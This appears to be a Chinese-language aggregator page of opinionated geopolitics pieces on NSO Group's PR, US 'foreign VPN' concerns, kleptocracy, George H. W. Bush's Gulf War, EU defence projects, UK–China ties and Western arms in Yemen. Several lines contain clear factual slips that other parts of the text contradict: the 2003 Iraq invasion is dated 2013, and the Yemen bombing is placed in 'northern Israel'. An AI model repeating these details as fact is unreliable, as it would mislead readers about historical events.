“简单地聘请一家公关公司来清理他们的形象而不实际改变任何东西，不仅仅是不承担责任，这对那些要求真正答案和补救的人来说是一种侮辱，”领导国际隐私防监视保护计划的 Edin Omanovic 说，“NSO集团，其所有者以及整个行业都应该去解决全球范围内造

成的真正危害，而不是专注于公关。”

A TOP PROGRESSIVE CONSULTING FIRM IS DOING PR FOR AN ISRAELI SPY COMPANY. NSO Group, which is facing multiple lawsuits charging that its technology was used to spy on journalists and dissidents, hired SKDKnickerbocker to help with media inquiries as the spy firm tries to turn around its marred image.

原文

美国正在打击对"外国VPN"的使用，为什么又和中国一样？ - iYouPort

地缘政治

如果美国成功禁止“外国VPN”，将给中国、俄罗斯、伊朗、中东北非等专制国家一个强大的理论依据，今后这些国家的公民想要避免本国的监视将变得非常困难。这就是为什么这件事很重要

「图」

「图」

美国政府认为位于其他国家的VPN是一种“威胁”。

故事是从5月底开始的。叙述了美国国会议员如何对外国VPN所构成的“威胁”进行了大量的抨击。

美国的立法者称：“如果你使用外国VPN，那么外国政府就很可能会窃听你的活动。”

他们声称，外国公司可能更容易受到外国政府的压力，而且这些外国VPN 开发者可能会交出用户的个人信息，甚至是您在线活动的全部内容。

这话说的就像美国的开发者不会受到政府威胁而交出数据一样 ——安全领域众所周知的原则之一是：应该避免使用位于美国的网络服务。

这是由于美国的监控项目使用了国家安全信件 (NSLs) 并伴随着不对外开放的法庭程序，其禁止收到 NSLs 的人谈论这份官方要求。

这让政府可以秘密地强迫企业同意交出客户资料，从而把私人企业的网络服务转化成了一种大规模监控的工具。

被政府逼迫而交出数据绝对是有可能的。但是并非哪些国家的特例。

VPN在您的设备与VPN公司控制的服务器之间创建加密连接。您的流量通过隧道，对本地网络和ISP上的窥探者隐藏。您的流量到达VPN服务器后在返回前退回到互联网。

这确实可以让 VPN 置于ISP的角色上看到你在网上做的一切。这是VPN作为一个行业的一大担忧，对所有VPN来说都是如此。

总部设在美国的VPN可以窃听您的活动，将您的信息移交给美国执法机构，或者屈服于美国情报机构的压力。这在其他任何国家都一样。

这是使用任何VPN的固有风险，不论在哪个国家。

位置，位置，位置

VPN 基本上被认为是隐私工具，如果他们在保护客户隐私方面做得不好，那就别想在市场上赢得竞争。

因此围绕VPN公司的很多对话都是关于他们是否能真正保密您的信息。

VPN通常通过宣布禁止收集用户信息的公司政策、发布隐私政策、以及在其实际产品中构建隐私保护来寻求至少将自己定位为可信赖信息管理者。

最近的趋势是公司会追求对其产品进行第三方审核，以加强自身可信度。

作为VPN服务为确保您的隐私而采取的各种步骤的例子之一，创建帐户时， Private Internet Access 会向您发出用户ID，这与您处理付费的信息是分开的。如果一切正常，这意味着即使法律强迫或执法部门没收其服务器，公司也无法识别个人用户。

VPN 通常同时存在于许多地方。比如 AnchorFree 是 Hotspot Shield VPN 背后的公司，总部位于加利福尼亚州，在瑞士苏黎世设有办事处。

该公司称其在美国和瑞士的法律管辖范围内运营。

那么它是“外国VPN”吗？

AnchorFree 的产品被其他公司广泛重新命名和销售，其中一些公司位于美国，而另一些公司则没有在美国。那么后者那些属于“外国VPN”吗？

VPN公司通常在一个国家设有办事处，而在另一个国家的法律管辖范围内运营。

VPN公司的服务器遍布全球。这些位置中的任何一个都可能不是VPN公司的法律管辖区。

也就是说，法律管辖权很重要，因为这是您的数据受到保护的框架。

VPN寻求保护客户和推销自己的一种方式就是通过强调公司所在的位置。例如，NordVPN 总部位于巴拿马，基于当地法律，它向客户宣传其作为隐私和安全保障的事实。就如 ProtonVPN 热衷于强调它位于瑞士。

在查看VPN时，通常会建议列出其位置和法律管辖权以及VPN协议和隐私政策，等各个方面。

位置也可以具有情感直觉方面的价值。一些读者表示，他们不能信任东欧的公司，因为他们与俄罗斯黑客团体有联系。

其他人则表示，由于美国的大规模监视历史，任何基于美国的VPN都是不可接受的。

总部设在香港的VPN（与中国大陆的VPN截然不同）经常遭到攻击。

事实上，有一个强有力的证据表明，美国拥有世界上最具侵略性的监视和数据收集业务。

社交媒体公司有时会透露被国土安全部要求他们交出信息，但是如果他们已经这样做了就不会透露。

美国国家安全局的监视计划可能是世界上有史以来最大的数据拦截行动，它不仅影响了美国公民还有全球的海外目标。

2013年美国国家安全局就被指控利用美国在数据基础设施方面的关键地位，实时复制全球互联网流量。

更不用说信息情报共享协议允许包括美国在内的许多盟国（5、9、14眼）在任何时候交换情报。

鉴于这一切，很难与那些将美国VPN公司视为潜在风险的人争论。

如果一切正常，外国VPN与在美国拥有部分或全部办事处的VPN之间应该没有什么区别。

同样，保护用户隐私和安全的措施也很好理解，可以在任何地方实施。

许多VPN公司选择将公司建立在隐私法完备的地方以便从当地法律中受益，也能以此来吸引消费者的情绪反应。

但是，当VPN公司没有正确加密，或者由于无知或故意不遵循最佳做法以保护用户的隐私时，它位于哪并不重要。

一个安全性很差的VPN不一定是“外国的”，有可能就在本国。国会应该支持用户和研究人员验证VPN公司声明的方法，而不是纠结于公司总部在哪里或者它们具有什么“价值”。

必须承认，安全行业充满了围绕恐惧、不确定和怀疑的营销手段 —— 统称为**FUD**。但关于所谓外国**VPN**的冗长讨论也属于这一类。

FUD 总是有目的，而不是真正关心技术的安全性。

也许我们应该首先问的问题是：为什么会发生关于“外国/本国”的争议？○

附：这里《检测您的VPN是否安全》在这里看到《值得推荐的VPN，以及其他安全工具》在这里看到《什么时候你需要VPN？》

How Dangerous Is Your Foreign VPN?

原文

美国精英协助全球寡头推动俄罗斯式腐败 - iYouPort

地缘政治

灾难和动荡是全球掠夺者的面包和黄油，利用公民社会的崩溃或债务国的违约将国家资产以美元私有化，然后将其推入进一步的危机…… 这种事一贯如此，不过如今，

「图」

「图」

正如 Naomi Klein 在其经典和开创性的著作 The Shock Doctrine 中记录的那样，灾难和动荡是全球掠夺者的面包和黄油，利用公民社会的崩溃或债务国的违约将国家资产以美元私有化，然后将其推入进一步的危机。这为掠夺创造了更多的机会—但是苏联的崩溃有所不同，因为那些间谍和强人确保公共资产只被提供给国内的掠夺者，而不是离岸的寡头。

这造成了一种明显的俄罗斯形式的失败国家，其中从该国人民手中偷来的财富仍然存在于该国，但是由该国的“领导人”—寡头们—掌握着，然后他们就开忙着离岸。他们知道财富是不稳定的，普京还有谋杀超级富豪竞争对手的习惯，并将他们的资产重新分配给其他寡头。

从俄罗斯涌出的寡头资金被“投资”到犯罪企业，通过西方公司洗钱，或者停在大片房地产中，对这些资金在《The Shock Doctrine》一书中写道：当苏联解体时，它没有为外国掠夺者打开大门，而是国内掠夺者耗尽国家并开始向海外投放权力，利用巨额财富在美国和英国等国家实施深刻的变革，使其成为了每个国家寡头的多汁目标。

那是20世纪90年代 Reagonomics 真正陷入困境的时期，富人控制的国家财富份额攀升到如此高的水平，以至于政策已经完全不顾公共利益而实施。当克林顿提出对海外犯罪分子洗钱的适度限制时，那些已经捞到大把油水的银行说客围攻国会大厦并将成功终结此提案。

十年之后，911事件开启了一个很小的政策空间，可以对洗钱做点什么了，但是游说者们一直在确保总是能找到空子可钻，这种模式经历了奥巴马时期以及2008年金融危机之后的适度银行改革。

今天，美国仍然充斥着这种脏钱，尽管像 FBAR 这样的系统要求美国公民和外国银行报告所有离岸资产—因为 FBAR 并没有阻止在怀俄明州、内华达州和特拉华州的匿名公司使用简单的“在岸-离岸”洗钱（你可以建立一个美国公司，比拿到图书证还容易）。

这些在岸洗钱习惯于在美国城市购买真正的大量房产，有时会占用市场并抬高租金，有时会创造大量的空置物业，这些资产已不再被用作住房或企业。

美国领先的律师事务所、房地产经纪人（当然）还有银行家们已经开始依赖洗钱寡头，并成为一些主要的说客、啦啦队和实践的推动者（“这不是很好吗？如果我们能让所有俄罗斯亿万富翁搬到这里来？“纽约市市长迈克尔布隆伯格，2013年）。

当然，特朗普是这种现象的一个非常明显的表现，但他并不是独一无二的：事实上，特朗普让那些精英们如此满意的原因就是因为他不反感洗钱，到处都是寡头朋友。毕竟，阴暗的房地产交易是就是将大量现金转移到美国的一种方式，没毛病。

像法律这样的职业应该具有高度发达的道德准则，但近年来这些准则似乎已经在褪色。即便是最负盛名的公司也发现自己对高价商业模式的生存感到烦恼，这种商业模式受到了2008年金融危机和随之而来的企业成本削减的深刻影响。贪婪的冲动一直存在于特权阶层的世界中，但达尔文主义斗争的意识和全球精英的规范已经蔓延上来。

罗伯特·穆勒（Robert Mueller）的调查充分显示了这种衰变。我们已经看到世达律师事务所这个法律界坚固支柱的公司如何为盗贼统治服务。2010年至2018年，该公司的一位合伙人格雷戈里·克雷格曾担任巴拉克·奥巴马的白宫律师，负责维护总统职位的人。在Skadden，他监督了一份报告的创建，该报告被用来证明乌克兰总统维克多·亚努科维奇在被广泛认为是非常可疑的理由的情况下被他的主要政治对手逮捕（根据穆勒调查的证词，该公司私下说，支持逮捕的证据“几乎不存在”），另一位为 Skadden 工作的律师在 Mueller 团队对该公司乌克兰工作的调查期间承认对检察官说谎。

乌克兰人通过一名中间人雇佣了 Skadden，就是现在被监禁的政治顾问 Paul Manafort。曾几何时人们可能会认为 Manafort 是华盛顿的一

个肮脏的异常特例—具有最低价值标准的说客，愿意接受最恶劣的客户。

但是，穆勒已经揭露出 Manafort 代表乌克兰盗窃者的工作与华盛顿精英们的紧密联系。

Manafort 将他的一些游说分包给了 Tony Podesta 公司，该公司可以说是他那一代最强大的民主党影响力贩卖者。Manafort 聘请了 Mercury Public Affairs，在那里他与前共和党国会议员和国家民主基金会前主席 Vin Weber 打交道 ……更多详见原文。

Kleptocracy in America: Russian-style corruption, driven by global oligarchs, enabled by US elites. When the U.S.S.R. collapsed, Washington bet on the global spread of democratic capitalist values—and lost.

原文

老布什不是你认识的那个人 - iYouPort

地缘政治

战争罪、种族主义、妨碍司法，这是老布什留给你唯一的东西

今天的媒体们正在向 George HW Bush 致敬。他被描绘成一个“聪明、务实的领导者”，他选择了像 James Baker 这样“明智的”国务卿，和他任性的儿子 George W. Bush 决然不同，后者带领美国在 2013 年对伊拉克发动了灾难性的袭击，这是迄今为止最致命的外交政策失误。由美国领导人亲手制造的。

然而，事实是，正是由于 George H. W. Bush 和 Baker 在 1990 年的浮躁，为乔治·W·布什十三年后的灾难性举动奠定了基础。

毕竟，老布什派遣美国军队到世界各地开展了第一次海湾战争 —— 这是一个悲惨的错误；以其特定的方式要对大中东（和美国）迄今为止的大部分恐怖事件负责。

具有讽刺意味的是，它恰好发生在美国似乎即将独揽大权 —— 成为全球最伟大的军事力量 —— 之前。随着苏联解体，没有权力可以挑战美国的霸权了。留给美国的是它自己的未来。

第一次海湾战争的特别之处在于 —— 就像第一次世界大战的爆发一样 —— 这一切都是如此的不必要，来自于政治领导人 —— 萨达姆侯赛因和乔治HW布什的愚蠢的领导、无能的外交和令人震惊的错误估测。

萨达姆的无知可以被理解为：一个残暴的独裁者，大部分时候都是被献媚者包围着，作为伊拉克总统他对外界几乎一无所知。而另一方面，乔治HW布什则是曾经担任过驻中国大使的人、还担任过中央情报局局长，拥有令人印象深刻的经验丰富的顾问，可以利用美国庞大的情报能力。

然而，1990 年夏天的问题是布什和他的高级助手们被正在瓦解的苏

联帝国吸引了全部注意力。他们基本上没有注意到萨达姆侯赛因和科威特领导人之间正在海湾酝酿的政治风暴。

萨达姆刚刚与伊朗“赢得”了一场令人难以置信的九年血腥战争，但却发现自己与其极其富有的海湾邻国科威特之间的争执不断。萨达姆对科威特人的指控毫无理由。

他们通过操纵石油价格来扼杀伊拉克已经破败的经济。他们还要求破产的伊拉克偿还科威特为资助巴格达对伊朗的血腥战争所提供的巨额贷款。

正如萨达姆被理解的那样，通过攻击革命的伊朗，他也一直在捍卫科威特的利益。但是现在伊朗被击败了，而伊拉克被榨干了，科威特人想要他们的钱。

科威特人驳回了萨达姆的声索，并继续要求还钱。萨达姆被他所看到的傲慢、咄咄逼人的立场所激怒了，变得越来越好战。

然而，与此同时，当他动员他的部队时，这位伊拉克独裁者试图弄清楚如果他真正开始入侵科威特，美国会如何反应。他从来没有得到过明确的信号。

对这件事承担责任的通常被认为是当时的美国大使 April Glaspie。萨达姆打电话给外交部，对科威特人提出了诽谤，并且模糊地提到了他的侵略计划。大使则使用标准外交腔回答说，美国对伊拉克与科威特之间的边界争端没有兴趣。华盛顿希望一切都能和平解决。

但是，并没有阻止，Glaspie 大使只是简单地传承了乔治HW布什政府本身非常困惑和自相矛盾的政策。

这也是一种具有讽刺意味的事，因为正如我们前面所说的，老布什在今天经常被称赞为所谓的精辟、冷静，特别是与他的浮躁、一触即发的儿子乔治·W相比。

但是在 1990 年的夏天，老布什和他的顾问对于美国将如何应对入侵科威特并没有明确的看法。事实上，比 Glaspie 高得多的官员明确表示了，美国没有军事承诺来保卫伊拉克富含石油的邻国。

这些官员包括乔治HW本人。多年来，他一直在努力与萨达姆打交道，最初视他为美国与伊朗战争中的盟友加上美国商品的市场; 在其他时候，是作为一个腐败的、不值得信任和令人难以置信的野蛮自大狂。在 1990 年夏天，布什仍然不确定如何处理这个伊拉克独裁者。

令人难以置信的是，即使一些美国官员坚持认为美国没有对科威特的承诺，而其他美国高级官员却向科威特人保证美国完全站在他们一边，并敦促他们不要屈服于伊拉克领导人的要求。其中一位就是当时担任海湾地区美国指挥官的 Norman Schwartzkopf 将军，他亲自告诉科威特官员说美国会给他们支持。

因此，1990 年7月27日，随着萨达姆对科威特的威胁变得越来越尖锐，乔治·H·W·布什总统给伊拉克总统写了一封信 – 一封如此平淡充满和解味道的信，Paul Wolfowitz 试图将其阻拦，但没有成功。

当最终出事时，萨达姆 1990 年8月2日入侵科威特时，总统乔治HW布什和他的团队陷入了困境。这位美国总统争着做出某种回应。布什虽然谴责入侵，但他告诉记者“我们不是在讨论干预问题”。

但是，一旦他最终决定派遣军队，乔治HW布什就拒绝认真谈判了。根据美国国会后来的一项调查，如果白宫对外交感兴趣，那么在入侵之后的时期内，很可能会有一个符合美国利益的外交解决方案。但当时没有考虑这些。

美国总统可以自由地将美国的大规模军事力量部署到全球各地。他高兴地宣布，他将使世界摆脱一个“比希特勒更糟糕”的暴君。是的暴君绝对正确。不过请注意，这是美国在与伊朗的战争中提供战场情报和武器支持的同一位领导者。

最初，以一种怪异的方式，老布什在 1990 年摧毁萨达姆侯赛因的决心与13年后乔治·W对萨达姆的痴迷交相辉映了。就像乔治布什 2003 年入侵伊拉克的决定一样，对美国来说也是一场彻头彻尾的灾难，而乔治HW布什于 1990 年8月决定向沙特阿拉伯派遣超过15万人的部队。

正是这一举动激起了奥萨马·本·拉登宣布基地组织对美国的战争 – “遥远的敌人”。它直接导致基地组织袭击美国在海湾、非洲的目标，然后就是震惊世界的 9/11。

沙特统治者最终不情愿地同意接受那些“异教徒”外国军队的原因是他们担心受到布什政府鼓吹的预测，即 关于“萨达姆在科威特的军队准备入侵沙特阿拉伯”。为了让沙特人相信这种威胁的存在，国防部长 Dick Cheney 亲自飞往利雅得。他随身携带着卫星照片，据说这些照片“显示伊拉克装甲部队集中在进攻阵地，随时准备袭击沙特人”。

萨达姆侯赛因真的打算攻击沙特阿拉伯？并没有。事实上，一旦萨达

姆明白布什是认真的，他立刻就明确表示他计划从科威特撤出，然而，他的言论被白宫和大多数美国主流媒体所忽视。

美国有什么证据能表明萨达姆计划入侵沙特阿拉伯？他们自己也不知道。

入侵发生后，一些新闻机构获得了伊拉克部队在科威特的商业卫星照片，并由熟练的照片分析师、美国情报界的资深人士进行了检查。结果是，他们没有发现伊拉克军队在沙特边境附近任何大规模集结的迹象; 在科威特的任何地方也没有这种迹象。

事实上，1990 年8月9日，国防部发言人 Peter Williams 承认，在科威特的伊拉克部队“似乎处于防御态势。”在入侵后的第一周结束时，美国军方分析人员惊讶地看到萨达姆已经开始将他的精英共和国卫队撤回了北部。

中央情报局和国防情报局都认为伊拉克实际上不会入侵沙特阿拉伯。正如 Colin Powell 本人后来所承认的那样，如果伊拉克想要入侵沙特阿拉伯，它与该国有着很长的边界; 根本没有必要经过科威特。

之后，一名美国高级指挥官承认，五角大楼严重夸大了伊拉克军队的数量。“这场战争引发了一场大规模的虚假宣传活动，”他承认道。

欺骗和悲惨的失误并没有就此结束。

1991 年2月15日，随着萨达姆在科威特的部队被痛击，乔治HW布什呼吁伊拉克人起来推翻萨达姆。但是，当什叶派和库尔德人回应这一号召时、看起来好像他们的反抗会成功时，布什不仅背弃了反叛分子，而且允许萨达姆“被击败”的部队继续驾驶他们的武装直升机，同时禁止美国在伊拉克的部队以任何方式援助反叛者，美国实际上是帮助了伊拉克独裁者以可怕的效果粉碎了起义。

最终，由于对库尔德人困境的戏剧性电视报道，乔治HW布什不得不在北部建立禁飞区以保护库尔德人。也许由于南方没有被拍电视，他没有采取任何措施来阻止成千上万的什叶派屠杀。

由于杀戮仍在继续，连美国总统自己也会否认 – 他曾经动员过反叛。

他摒弃反叛者的原因通常是担心如果什叶派掌权就会危险地增加伊朗的影响力。布什希望萨达姆出局，但他更希望这一位置被一个受美国利益影响的军事支持政权所取代。

与此同时，萨达姆侯赛因继续掌权。

因此，2003年，在副总统切尼和其他新顾问的鼓励下，乔治·W·布什利用总部设在阿富汗的基地组织的 9/11 袭击作为入侵伊拉克的借口。布什家族成员终于完成了将萨达姆侯赛因赶下台的未完成任务 – 布什认为他的父亲没有胆量去执行任务。

今天，在第一次海湾战争后的四分之一个世纪里，从叙利亚到伊拉克，从阿富汗到也门，在遭受数百万人的生命和数万亿美元的可怕浪费之后，美国仍陷在永无止境的全球范围内的反恐战争之中，预算正在枯竭。

—— 本文的作者 *BARRY LANDO* 是*60*分钟的前制片人。也是 *“Deep Strike”* 的作者 ——

老布什死后似乎只有中国人在热泪盈眶，在美国，很多人都知道他究竟是什么人。intercept 专门写了一篇长文，希望能告诉你：布什不是你“认识的”那个人。文章列举了所有乔治HW布什的遗产：战争罪、种族主义和妨碍司法。

在老布什的统治下，美国向伊拉克和伊拉克占领的科威特投下了惊人的 88,500 吨炸弹，其中许多炸弹造成了可怕的平民伤亡。例如1991年2月，美国空袭巴格达 Amiriyah 居民区的一个防空洞，造成至少 408 名伊拉克平民死亡。人权观察指出，五角大楼知道 Amiriyah 设施在伊朗 – 伊拉克战争期间被用作民防庇护所，但是在没有任何警告的情况下发起了袭击。人权观察得出结论，“美国严重违反了战争法”。

美国的炸弹还摧毁了伊拉克必不可少的民用基础设施 —— 从发电厂和水处理设施到食品加工厂和面粉厂。这不是偶然的。正如华盛顿邮报的 Barton Gellman 在1991年6月报道的那样：“有些目标，尤其是战争后期的目标，攻击它们主要是为了制造战后对伊拉克的影响，而不是影响冲突本身的进程。规划人员现在证实了他们当时的目的是摧毁或破坏巴格达在没有外国援助的情况下无法修复的有价值的设施。……

布什政府故意将民用基础设施作为对萨达姆侯赛因的“杠杆”。这怎么不是恐怖主义？作为哈佛公共卫生团队在1991年6月得出的结论，在战争结束后不到四个月里，由于伊拉克基础设施的破坏已导致急性营养不良和霍乱及伤寒的“流行病”肆虐。

到1992年1月，美国人口普查局的人口统计学家 Beth Osborne Daponte 估计布什的海湾战争造成了 158,000 名伊拉克人死亡，其中包括 13,000 名平民的直接死亡和 70,000 平民死于水污染等次生灾难。⚠ 由于 Daponte 调查显示的数字与布什政府的数字相矛盾，她被上级威胁要因发布“ 虚假信息 ”而被解雇“ 。

更多内容：

Under Bush Sr., the U.S. dropped a whopping 88,500 tons of bombs on Iraq and Iraqi-occupied Kuwait, many of which resulted in horrific civilian casualties. The Bush administration deliberately targeted civilian infrastructure for “leverage” over Saddam Hussein. How is this not terrorism?

原文

联合特工学校缘何意味深长？ - iYouPort

地缘政治

---

1. 欧盟启动联合间谍学校，提升电子战技能；但是...
2. 提醒注意 ⚠请重读这篇文章：《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》

意大利将负责建立一个基于气球的情报监视和侦察平台项目，称为欧洲高层大气飞艇，该项目将提供来自天空的持续监视。捷克共和国将领导一个电子战能力项目，其最终目标是建立一支联合欧洲电子战部队，该部队最终将支持该领域的欧盟战斗群。

奥地利将领导化学、生物、放射和核（CBRN）监测项目，该项目将建立一个监测威胁的网络，以支持欧盟的任务，并保护部队免受 CBRN 的伤害。

EU to launch joint spy school, boost electronic warfare skills. Defense ministers agreed on 17 new joint projects. POLITICO has the list.

原文

英国正在加入一带一路；是什么让英国如此“虚弱”？ - iYouPort

地缘政治

中国对英国真的信任吗？我们得到的消息是目前为止中国尚未大张旗鼓地利用“攻下英国”为题做民族主义宣传……

「图」

「图」

英国正开始加入中国签署的万亿美元“一带一路”倡议，这背离了华盛顿和布鲁塞尔对北京采取的更具对抗性的路线。

英国脱欧计划陷入僵局之后，伦敦表现出明显的脆弱感，这使得英国开始重新评估其全球贸易关系。

英国财政大臣 Philip Hammond 在北京的“一带一路”论坛上表示，英国致力于帮助中国实现其雄心勃勃但备受争议的基础设施投资项目。

Hammond 访问这个备受瞩目的论坛，强调了他所谓的“中英关系的黄金时代”，这是两国在前任总理大卫·卡梅伦（David Cameron）执政期间开始的更紧密的经济关系。

尽管英国与意大利不同，目前尚未签署正式的谅解备忘录以参加“一带一路”计划，但 Hammond 表示，他将游说英国公司参与一带一路项目，尤其是金融和工程项目。

而且，这一计划已经在逐步推进了：总部位于伦敦的渣打银行刚刚与中国进出口银行签署了一项促进“一带一路”项目的协议。

英国的献媚对中国来说是个好消息，中国一直在试图恢复该外交政策倡议失去的那些光彩，这是习近平的一个主要优先事项。

自“一带一路”于2013年底宣布以来，中国的此项计划被许多批评家称

之为“债务陷阱外交”，尤其是最近，批评越来越多，指中国利用金融力量扩大北京在整个亚洲、非洲和欧洲部分地区的政治影响力。

接收中国贷款的国家，如斯里兰卡、马来西亚和缅甸，已开始对中国投资带来的繁重条款感到愤怒。美国官员一再谴责北京利用“债务链”绑架较小的国家以扩大其影响范围。

然后习近平承诺，“一带一路”项目要“更加透明”，并控制鲁莽贷款。

但是，英国的动向也是在中国和西方之间越来越多地怀疑包括网络间谍、经济竞争以及控制南中国海的酝酿争端等问题之大背景上出现的。

美国现在称中国为“战略竞争对手”，而欧盟今年早些时候将中国称为“系统性竞争对手”。

作为其反击中国影响力的活动的一部分，美国向包括英国在内的盟友施加压力，将华为公司制造的设备排除在先进的移动电话网络之外。

但是，就在 Hammond 前往北京的前几天，英国宣布同意允许华为参与其新网络的“非核心”部分。

尽管中国在“一带一路”论坛上的魅力令人反感，但与西方的紧张关系仍然很明显。中国上周五猛烈抨击法国在台湾海峡航行的一艘战舰。

中国对附近水域的敏感性也影响了与英国的关系：Hammond 计划今年早些时候访问北京是在英国官员谈到向南海派遣航空母舰这一计划被打破之后，突显了英国政府对中国的不同看法。

财政部和贸易官员渴望加深与中国的经济联系，特别是在英国脱欧后不久开始寻求新的贸易伙伴的背景下。英国贸易和出口促进部部长 Rona Fairhead 以及英国“一带一路”特使 Douglas Flint 也出席了在北京举行的论坛。

China Gets a British Bedfellow. Left vulnerable by Brexit, the U.K. looks eager to sign onto Beijing’s giant Belt and Road program.

原文

血族的逻辑 - iYouPort

中东和北非地缘政治

这是一个全球性的血族联盟。他们跨国协助杀戮、屏蔽真相掩人耳目，直到真相被揭穿……最新的揭露是什么？

「图」

「图」

自去年10月沙特持不同政见者和华盛顿邮报撰稿人 Jamal Khashoggi 被谋杀以来，国会越来越多地向特朗普政府施压，要求他停止支持沙特阿拉伯领导的也门联盟战争，并停止美国对利雅得的武器销售。作为回应，特朗普一再表示，“如果美国不向沙特出售武器，他们将转向美国对手寻求武器”。简单说，地缘政治优越性被认为是第一位的，而不是人命。

“我不喜欢停止一个向美国投资1100亿美元的概念，”特朗普10月份告诉记者，他指的是在他担任总统的最初几个月与沙特签署的一系列意向书，“你知道他们要做什么吗？他们将把钱花在俄罗斯、中国或其他地方。“

但是，法国军事情报局制作的一份高度机密的文件显示，沙特和阿联酋绝大部分都依赖于西方制造的武器系统在也门发动毁灭性的战争。文件中所列出的许多系统仅与北约国家生产的弹药、备件和通信系统兼容，这意味着沙特和阿联酋如果想要使用俄罗斯或中国的武器就需要对武器库进行大部分的调整。

“你不能只是把美国飞机上的导弹换成中国或俄罗斯生产的导弹”，华盛顿特区斯蒂姆森中心常规防卫计划负责人 Rachel Stohl 说，“建立空军需要几十年的时间。这不是轻而易举能做成的事”。

沙特在以色列北部的轰炸行动主要依赖于三种类型的飞机：美国 **F-15**，英国 **EF-2000 Typhoons** 和欧洲 **Tornado** 战斗机。美国阿帕奇和黑鹰直升机从沙特的军事基地飞入也门，还有法国的 AS-532

Cougar。他们在沙特—也门边境排列着美国艾布拉姆斯和法国AMX 30坦克，至少有五种西方制造的火炮加固。联盟封锁旨在切断对胡塞反叛组织的援助，但也干扰了人道主义援助物资的运输。封锁依赖美国、法国和德国的攻击舰模型，以及两种法国海军直升机。

武器系统目录只是这份机密报告中的一个部分，该报告由法国调查新闻机构 Disclose 获得，并由 The Intercept，Disclose 和其他四家法国媒体机构全面发布。

该报告还严厉批评了沙特在也门的军事能力，称沙特在“无效”运作，并将其对也门边界的努力描述为“失败”。这表明美国对沙特瞄准也门的援助可能超出了以前所承认的范围。

「图」

「图」

自战争开始以来，美国一直在通过武器销售协助该联盟的轰炸活动，并且直到最近还对飞机的空中加油给予了支持。但法国的报告显示，美国无人机也可能正在帮助沙特补充弹药。

文件中显示，美国的支持是“目标领域的建议形式“，近距离空中支援（CAS）的做法是最近出现的。“目标”一词后面的脚注指出可能的美国“建议”是指“由美国无人机实现的目标”。

虽然美国否认直接参与对 Houthis 的敌对行动，但是美国的MQ-9“无人机”—— 一架具有捕杀能力的侦察无人机—— 飞越了 Houthi 被占领的领土。在 Houthis 于2017年10月击落其中一架无人机之后，引发人们猜测美国可能会利用这些无人机为沙特人收集情报。针对“由美国无人机实施的目标”可能意味着美国无人机在该联盟瞄准中发挥的更积极作用，例如激光瞄准精确制导。

美国中央司令部强烈否认美国无人机在联盟攻击中有任何作用。“美国军方没有向沙特领导的联盟提供这种支持，”一名中央司令部发言人通过电子邮件告诉 The Intercept。

日期为2018年9月25日的该报告是为了介绍法国“限制委员会”10月会议，该会议由内阁级官员组成，其中包括法国总统伊曼纽尔马克龙、武装部队佛罗伦萨帕利部长、欧洲和外交事务部长 Jean-Yves Le Drian。该文件的曝光可能对马克龙政府产生重大的政治影响，马克龙政府一直捍卫向沙特出售武器的决议，同时淡化他自己对也门法国

武器使用方式的了解。

今年1月，Parly 告诉法国主要的国际电台的主持人说她“不知道[法国]武器是否在这场冲突中被直接使用”，而且还说 “我们最近没有出售任何可以在也门冲突中使用的武器。“

但是这份机密报告显示，沙特和阿联酋使用的法国军事硬件比法国政府承认的要多得多。自2015年战争开始以来，该血族联盟一直在使用法国坦克和装甲车来加强沙特边境并捍卫也门的阿联酋军事前哨基地。

沙特在其边境部署了法国远程火炮，能够射向也门北部省份，而阿联酋则驾驶法国的战斗机、配备法国的激光瞄准技术。沙特阿拉伯和阿联酋都使用法国军舰来加强联盟封锁。

虽然报告列出了沙特和阿联酋使用的法国武器，但它一直指出，法国情报机构没有在联军地面部队的“活跃战线”上观察到同样的武器，这些部队主要是由忠于前总统 Abdu Rabbu Mansour Hadi 的也门战士和外国雇佣兵组成。

一张地图注意到在 Hodeidah 战役附近的联盟基地有法国 Leclerc 坦克的存在，但报告还说阿联酋一般使用 Leclerc 坦克用于“防御目的”。

在回复 Disclose 发出的详细问题清单时，法国总理办公室就法国的军售及其与沙特阿拉伯和阿联酋的联盟发表了冗长的声明。声明说，法国的军售经过彻底审查，符合法国和国际的法律。

该报告决不会评估法国武器是否被用于对抗平民。然而，有一张地图显示，在沙特—也门边境的法国炮兵射程范围内，有超过430,000名也门人居住。

该报告主要关注的是法国武器在联军中的位置，并没有提到胡塞武器的来源，其中一些已知来自伊朗。文件附录对沙特阿拉伯和阿联酋使用的主要武器系统进行了编目，但并非完整清单；它没有提到监测组发现的弹药、步枪或几种类型的装甲车。

总体而言，附录强调了自军事干预开始以来战争观察员所提出的观点：联盟的军事能力几乎完全由全球武器贸易创造和维持。除了美国、英国和法国之外，该报告还提到瑞典的雷达和探测系统、奥地利 **Camcopter** 无人机、来自韩国的防御性海军火箭、意大利战舰、甚

至来自巴西的火箭发射器电池—— 这是一个全球性的血族联盟。

该报道描述沙特领导的也门空战是“对 Houthi 持有的领土进行大规模持续空袭的运动”。根据该报告，该联盟从战争初期到2018年9月共进行了 24,000 次空袭，这一数字属于独立监测组织 Yemen Data Project 估计的范围。

法国情报部门观察到五架飞越也门的战斗机，全都是北约的飞机。报告中提到的唯一非北约飞机是 **Wing Loong**，这是中国人制造的 **Reaper** 无人机仿冒品。出口管制阻止了美国向阿联酋出售武装无人机，因此阿布扎比"转向中国购买"。

去年，阿联酋使用中国产的无人机"杀害了 Houthi 最高政治委员会主席 Saleh al-Samad"，后者被广泛视为参与联合国领导的和平进程的倡导者。

报告称，尽管沙特人拥有巨大的技术优势，但他们未能实现军事目标，并确定沙特的目标是需要改进的。它描述了沙特人在空中和海上任务中不那么有效的参与，并指出阿联酋人正在主要负责封锁；报告还说阿联酋的战斗机更有力，称其具有“已被证实”的使用制导弹药的能力，并且他们在轰炸任务期间达到了北约的标准。

该报告首先讨论了夺回红海港口城市 Hodeidah 的争夺战，以及大多数商业产品和人道主义援助进入也门的切入点。阿联酋曾预言 Hodeidah 会取得决定性胜利。但情报报告评估说，对于阿联酋的民兵来说，“[Hodeidah] 的武力夺取似乎仍然遥不可及”。然而，该报告指出，他们正试图重新环绕并围攻城市，试图重新夺回 Houthis 控制的首都 Hodeidah 和 Sana’a之间的关键路口。

在进攻开始之前，人道主义组织认为长期围困是最糟糕的情况，因为会在很大程度上阻止向最需要的地区提供的援助。

“通过 Hodeidah 港口的商业和人道主义货物是一条生命线，不仅对于 Hodeidah 市的人们，而且对于也门的大部分人来说都是非常重要的，”乐施会美国人道主义政策负责人 Scott Paul 说。

